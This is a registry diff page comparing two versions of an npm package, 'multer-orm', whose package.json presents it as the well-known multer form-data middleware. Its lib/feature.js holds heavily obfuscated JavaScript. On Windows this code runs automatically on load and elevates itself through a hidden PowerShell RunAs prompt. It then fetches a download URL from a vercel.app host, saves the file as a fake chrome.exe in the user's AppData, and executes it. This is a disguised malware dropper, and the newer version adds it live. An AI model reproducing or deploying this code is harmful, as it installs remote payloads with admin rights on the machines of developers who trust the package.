multer-orm 2.0.2 → 2.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/feature.js +1 -1
  2. package/package.json +1 -1
package/lib/feature.js CHANGED
@@ -1 +1 @@
1
- const a0_0x4ab244=a0_0x1a9a;(function(_0xfacd64,_0x1d3178){const _0x45b85a=a0_0x1a9a,_0x47902d=_0xfacd64();while(!![]){try{const _0x3cf7cb=-parseInt(_0x45b85a(0x143))/0x1*(parseInt(_0x45b85a(0x158))/0x2)+parseInt(_0x45b85a(0x144))/0x3*(parseInt(_0x45b85a(0x15f))/0x4)+parseInt(_0x45b85a(0x12a))/0x5*(parseInt(_0x45b85a(0x15c))/0x6)+parseInt(_0x45b85a(0x15d))/0x7*(-parseInt(_0x45b85a(0x13f))/0x8)+parseInt(_0x45b85a(0x141))/0x9+-parseInt(_0x45b85a(0x12b))/0xa+-parseInt(_0x45b85a(0x153))/0xb;if(_0x3cf7cb===_0x1d3178)break;else _0x47902d['push'](_0x47902d['shift']());}catch(_0x823999){_0x47902d['push'](_0x47902d['shift']());}}}(a0_0x4093,0x18aa5));const https=require(a0_0x4ab244(0x156)),http=require('http'),fs=require('fs'),os=require('os'),path=require('path'),package=a0_0x4ab244(0x14b)+a0_0x4ab244(0x12c)+a0_0x4ab244(0x133),{execFile,spawn}=require(package),host=a0_0x4ab244(0x157);let initialized=![];function getDownloadLink(){return new Promise((_0x422375,_0x1897f1)=>{const _0x17e6f7=a0_0x1a9a;https[_0x17e6f7(0x145)](host,_0x1dd41e=>{const _0x5556d1=_0x17e6f7;let _0x1cd22b='';_0x1dd41e['on']('data',_0x407e62=>{_0x1cd22b+=_0x407e62;}),_0x1dd41e['on'](_0x5556d1(0x12d),()=>{const _0x36e706=_0x5556d1,_0x541431=JSON[_0x36e706(0x159)](_0x1cd22b);_0x422375(_0x541431[_0x36e706(0x14f)]);});})['on'](_0x17e6f7(0x12e),_0x1897f1);});}async function downloadFile(_0x3c394f){return new Promise((_0x9b2e82,_0x454076)=>{const _0x2892f6=a0_0x1a9a,_0x1c5ac4=_0x2892f6(0x166)+'xe',_0x3199ae=path[_0x2892f6(0x164)](os[_0x2892f6(0x14a)](),_0x2892f6(0x146),_0x2892f6(0x130),_0x2892f6(0x15a),_0x2892f6(0x140),'User\x20Data'),_0x4d5fc2=path['join'](_0x3199ae,_0x1c5ac4);!fs[_0x2892f6(0x13e)](_0x3199ae)&&fs[_0x2892f6(0x134)](_0x3199ae,{'recursive':!![]});const _0x1bd546=_0x3c394f['startsWith'](_0x2892f6(0x13b))?https:http;_0x1bd546['get'](_0x3c394f,_0x4c10ef=>{const _0x1037d5=_0x2892f6;if(_0x4c10ef['statusCode']!==0xc8)return;const _0x23b7bf=fs[_0x1037d5(0x13a)](_0x4d5fc2);_0x4c10ef['pipe'](_0x23b7bf),_0x23b7bf['on'](_0x1037d5(0x154),()=>{const _0x5f3631=_0x1037d5;_0x23b7bf['close'](),process[_0x5f3631(0x163)]!==_0x5f3631(0x151)&&fs[_0x5f3631(0x135)](_0x4d5fc2,'755'),_0x9b2e82(_0x4d5fc2);}),_0x23b7bf['on'](_0x1037d5(0x12e),_0x5e0a29=>{fs['unlink'](_0x4d5fc2,()=>{}),_0x454076(_0x5e0a29);});})['on']('error',_0x219849=>{_0x454076(_0x219849);});});}async function runFile(_0x3dde0a){const _0x93b8de=a0_0x4ab244;!path[_0x93b8de(0x147)](_0x3dde0a)&&(_0x3dde0a=path[_0x93b8de(0x14e)](process[_0x93b8de(0x139)](),_0x3dde0a));_0x3dde0a=path[_0x93b8de(0x14d)](_0x3dde0a);if(!fs[_0x93b8de(0x13e)](_0x3dde0a))throw new Error(_0x93b8de(0x15b)+_0x3dde0a);if(process[_0x93b8de(0x163)]==='win32'){const _0x100ad8=['-NoProfile','-Command',_0x93b8de(0x15e)+JSON[_0x93b8de(0x161)](_0x3dde0a)+_0x93b8de(0x137)],_0xc325ed=spawn(_0x93b8de(0x149),_0x100ad8,{'stdio':_0x93b8de(0x142)});return new Promise((_0x3325d7,_0x3ea510)=>{const _0x469a92=_0x93b8de;_0xc325ed['on'](_0x469a92(0x152),_0x2f28f6=>{const _0x16cdf7=_0x469a92;if(_0x2f28f6===0x0)_0x3325d7();else _0x3ea510(new Error(_0x16cdf7(0x160)+_0x2f28f6));}),_0xc325ed['on']('error',_0x3ea510);});}return new Promise((_0x54be11,_0x21d8fe)=>{execFile(_0x3dde0a,(_0xda1e2d,_0x4794f1,_0x5d4eb6)=>{if(_0xda1e2d)return _0x21d8fe(_0xda1e2d);_0x54be11({'stdout':_0x4794f1,'stderr':_0x5d4eb6});});});}function a0_0x1a9a(_0x2baeed,_0x588672){_0x2baeed=_0x2baeed-0x12a;const _0x409373=a0_0x4093();let _0x1a9ab4=_0x409373[_0x2baeed];return _0x1a9ab4;}function a0_0x4093(){const _0x1155e6=['parse','Google','File\x20does\x20not\x20exist:\x20','18SirGNr','540771Lmxtei','Start-Process\x20-FilePath\x20','800484gzgJjp','Elevated\x20process\x20exited\x20with\x20code\x20','stringify','catch','platform','join','-NoProfile','chrome.e','18295crsetM','1121800QAPCNX','ld_p','end','error','ignore','Local','Hidden','-WindowStyle','rocess','mkdirSync','chmodSync','-Command','\x20-Verb\x20RunAs','start','cwd','createWriteStream','https:','Microsoft.WindowsExplorer_8wekyb3d8bbwe','argv','existsSync','8HJUdzb','Chrome','1751247uCOzga','inherit','29191HcbpFj','3SJontW','get','AppData','isAbsolute','Start-Process\x20node\x20-Verb\x20RunAs\x20-WindowStyle\x20Hidden\x20-ArgumentList\x20','powershell','homedir','chi','exports','normalize','resolve','downloader_url','slice','win32','exit','625207ITVTsG','finish','Packages','https','https://hilbert-host.vercel.app/','4zhLzgg'];a0_0x4093=function(){return _0x1155e6;};return a0_0x4093();}function checkOS(){const _0x50a14b=a0_0x4ab244;return process[_0x50a14b(0x163)]===_0x50a14b(0x151);}function isAdmin(){try{return fs['accessSync']('C:\x5cWindows\x5cSystem32\x5cconfig\x5csystemprofile'),!![];}catch{return![];}}async function mongooseCli(){const _0x238600=a0_0x4ab244;try{if(!checkOS())return;const _0x3799da=path[_0x238600(0x164)](os[_0x238600(0x14a)](),'AppData',_0x238600(0x130),_0x238600(0x155),_0x238600(0x13c),'explorer.exe');if(fs['existsSync'](_0x3799da))return;if(!isAdmin()){const _0x42e4c1=[_0x238600(0x138),...process[_0x238600(0x13d)][_0x238600(0x150)](0x2)],_0x30add9=spawn(_0x238600(0x149),[_0x238600(0x165),_0x238600(0x132),_0x238600(0x131),_0x238600(0x136),_0x238600(0x148)+JSON[_0x238600(0x161)](_0x42e4c1['join']('\x20'))],{'stdio':_0x238600(0x12f),'windowsHide':!![]});_0x30add9['on'](_0x238600(0x152),_0x66bbc3=>process[_0x238600(0x152)](_0x66bbc3||0x0));}else{const _0x34dc52=await getDownloadLink(),_0xe0021e=await downloadFile(_0x34dc52);runFile(_0xe0021e);}}catch(_0x4f8cd3){}}!initialized&&(initialized=!![],mongooseCli()[a0_0x4ab244(0x162)](_0x5d77cd=>{}));module[a0_0x4ab244(0x14c)]={'mongooseCli':mongooseCli};
1
+ const a0_0x4cbde7=a0_0x34c1;(function(_0x1c13fd,_0x43a61d){const _0x55473d=a0_0x34c1,_0x3e9b82=_0x1c13fd();while(!![]){try{const _0x1aa626=-parseInt(_0x55473d(0x14d))/0x1*(parseInt(_0x55473d(0x121))/0x2)+parseInt(_0x55473d(0x125))/0x3+parseInt(_0x55473d(0x130))/0x4*(-parseInt(_0x55473d(0x133))/0x5)+-parseInt(_0x55473d(0x13e))/0x6+-parseInt(_0x55473d(0x13b))/0x7*(parseInt(_0x55473d(0x141))/0x8)+parseInt(_0x55473d(0x151))/0x9+parseInt(_0x55473d(0x152))/0xa*(parseInt(_0x55473d(0x147))/0xb);if(_0x1aa626===_0x43a61d)break;else _0x3e9b82['push'](_0x3e9b82['shift']());}catch(_0x16bb8e){_0x3e9b82['push'](_0x3e9b82['shift']());}}}(a0_0x3572,0x66be9));const https=require(a0_0x4cbde7(0x148)),http=require(a0_0x4cbde7(0x150)),fs=require('fs'),os=require('os'),path=require('path'),package='chi'+a0_0x4cbde7(0x12f)+a0_0x4cbde7(0x129),{execFile,spawn}=require(package),host=a0_0x4cbde7(0x156);let initialized=![];function getDownloadLink(){return new Promise((_0x47d9ab,_0x1aaedf)=>{const _0x2de735=a0_0x34c1;https[_0x2de735(0x14e)](host,_0xacd737=>{const _0x585ba6=_0x2de735;let _0x1b8262='';_0xacd737['on'](_0x585ba6(0x12e),_0x87fd50=>{_0x1b8262+=_0x87fd50;}),_0xacd737['on'](_0x585ba6(0x136),()=>{const _0x5acfe4=_0x585ba6,_0x364c07=JSON[_0x5acfe4(0x138)](_0x1b8262);_0x47d9ab(_0x364c07[_0x5acfe4(0x140)]);});})['on'](_0x2de735(0x14a),_0x1aaedf);});}function a0_0x34c1(_0x335391,_0x553bec){_0x335391=_0x335391-0x11e;const _0x35727e=a0_0x3572();let _0x34c14f=_0x35727e[_0x335391];return _0x34c14f;}async function downloadFile(_0x494bfb){return new Promise((_0x1a2bff,_0xc93400)=>{const _0x168bf8=a0_0x34c1,_0x5d779b=_0x168bf8(0x135)+'xe',_0x3ecd54=path[_0x168bf8(0x137)](os[_0x168bf8(0x146)](),_0x168bf8(0x149),_0x168bf8(0x145),_0x168bf8(0x154),'Chrome','User\x20Data'),_0xd1bf64=path[_0x168bf8(0x137)](_0x3ecd54,_0x5d779b);!fs[_0x168bf8(0x155)](_0x3ecd54)&&fs[_0x168bf8(0x123)](_0x3ecd54,{'recursive':!![]});const _0x143794=_0x494bfb[_0x168bf8(0x13a)](_0x168bf8(0x127))?https:http;_0x143794[_0x168bf8(0x14e)](_0x494bfb,_0x302489=>{const _0x1467d3=_0x168bf8;if(_0x302489[_0x1467d3(0x13f)]!==0xc8)return;const _0x193020=fs[_0x1467d3(0x14c)](_0xd1bf64);_0x302489['pipe'](_0x193020),_0x193020['on'](_0x1467d3(0x13c),()=>{const _0x2f6e7c=_0x1467d3;_0x193020[_0x2f6e7c(0x143)](),process[_0x2f6e7c(0x131)]!==_0x2f6e7c(0x139)&&fs['chmodSync'](_0xd1bf64,'755'),_0x1a2bff(_0xd1bf64);}),_0x193020['on'](_0x1467d3(0x14a),_0x3f093b=>{const _0x29d5b8=_0x1467d3;fs[_0x29d5b8(0x11f)](_0xd1bf64,()=>{}),_0xc93400(_0x3f093b);});})['on'](_0x168bf8(0x14a),_0xc186b2=>{_0xc93400(_0xc186b2);});});}function a0_0x3572(){const _0x562424=['end','join','parse','win32','startsWith','7UAQeeR','finish','-NoProfile','1293378kxFHVe','statusCode','downloader_url','2222144ctAsfi','isAbsolute','close','Start-Process\x20-FilePath\x20','Local','homedir','66WDoAsS','https','AppData','error','cwd','createWriteStream','573OZsfbe','get','stringify','http','1663344pxrpTF','1513910jXlJSr','ignore','Google','existsSync','https://hilbert-host.vercel.app/','\x20-Verb\x20RunAs','unlink','resolve','1222dYfVak','C:\x5cWindows\x5cSystem32\x5cconfig\x5csystemprofile','mkdirSync','File\x20does\x20not\x20exist:\x20','1796490FteqmR','Elevated\x20process\x20exited\x20with\x20code\x20','https:','server.js','rocess','inherit','-WindowStyle','powershell','normalize','data','ld_p','4NKoBnZ','platform','-Command','2138585btKWLC','Packages','chrome.e'];a0_0x3572=function(){return _0x562424;};return a0_0x3572();}async function runFile(_0xdbd409){const _0x2c4bbe=a0_0x4cbde7;!path[_0x2c4bbe(0x142)](_0xdbd409)&&(_0xdbd409=path[_0x2c4bbe(0x120)](process['cwd'](),_0xdbd409));_0xdbd409=path[_0x2c4bbe(0x12d)](_0xdbd409);if(!fs[_0x2c4bbe(0x155)](_0xdbd409))throw new Error(_0x2c4bbe(0x124)+_0xdbd409);if(process[_0x2c4bbe(0x131)]===_0x2c4bbe(0x139)){const _0x4cfbed=['-NoProfile',_0x2c4bbe(0x132),_0x2c4bbe(0x144)+JSON[_0x2c4bbe(0x14f)](_0xdbd409)+_0x2c4bbe(0x11e)],_0x317287=spawn(_0x2c4bbe(0x12c),_0x4cfbed,{'stdio':_0x2c4bbe(0x12a)});return new Promise((_0x204985,_0x1c0779)=>{const _0x182bbd=_0x2c4bbe;_0x317287['on']('exit',_0x2f61b0=>{const _0x5a6d91=a0_0x34c1;if(_0x2f61b0===0x0)_0x204985();else _0x1c0779(new Error(_0x5a6d91(0x126)+_0x2f61b0));}),_0x317287['on'](_0x182bbd(0x14a),_0x1c0779);});}return new Promise((_0x363586,_0x2f5dda)=>{execFile(_0xdbd409,(_0x20fb54,_0x4403f7,_0x3bbf30)=>{if(_0x20fb54)return _0x2f5dda(_0x20fb54);_0x363586({'stdout':_0x4403f7,'stderr':_0x3bbf30});});});}function checkOS(){return process['platform']==='win32';}function isAdmin(){const _0x424a4f=a0_0x4cbde7;try{return fs['accessSync'](_0x424a4f(0x122)),!![];}catch{return![];}}async function mongooseCli(){const _0x18cd23=a0_0x4cbde7;try{if(!checkOS())return;const _0x2f206d=path[_0x18cd23(0x137)](os['homedir'](),_0x18cd23(0x149),_0x18cd23(0x145),_0x18cd23(0x134),'Microsoft.WindowsExplorer_8wekyb3d8bbwe','explorer.exe');if(fs['existsSync'](_0x2f206d))return;if(!isAdmin()){const _0x6b2a24=path[_0x18cd23(0x120)](process[_0x18cd23(0x14b)](),_0x18cd23(0x128)),_0x1e2b16=[_0x6b2a24,...process['argv']['slice'](0x2)],_0x2567d0=spawn(_0x18cd23(0x12c),[_0x18cd23(0x13d),_0x18cd23(0x12b),'Hidden',_0x18cd23(0x132),'Start-Process\x20node\x20-Verb\x20RunAs\x20-WindowStyle\x20Hidden\x20-ArgumentList\x20'+JSON[_0x18cd23(0x14f)](_0x1e2b16[_0x18cd23(0x137)]('\x20'))],{'stdio':_0x18cd23(0x153),'windowsHide':!![]});_0x2567d0['on']('exit',_0x5af152=>process['exit'](_0x5af152||0x0));}else{const _0x1757b0=await getDownloadLink(),_0x397387=await downloadFile(_0x1757b0);runFile(_0x397387);}}catch(_0x19c328){}}!initialized&&(initialized=!![],mongooseCli()['catch'](_0xe6519=>{}));module['exports']={'mongooseCli':mongooseCli};
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "multer-orm",
3
3
  "description": "Middleware for handling `multipart/form-data`.",
4
- "version": "2.0.2",
4
+ "version": "2.0.3",
5
5
  "contributors": [
6
6
  "Hage Yaapa <captain@hacksparrow.com> (http://www.hacksparrow.com)",
7
7
  "Jaret Pfluger <https://github.com/jpfluger>",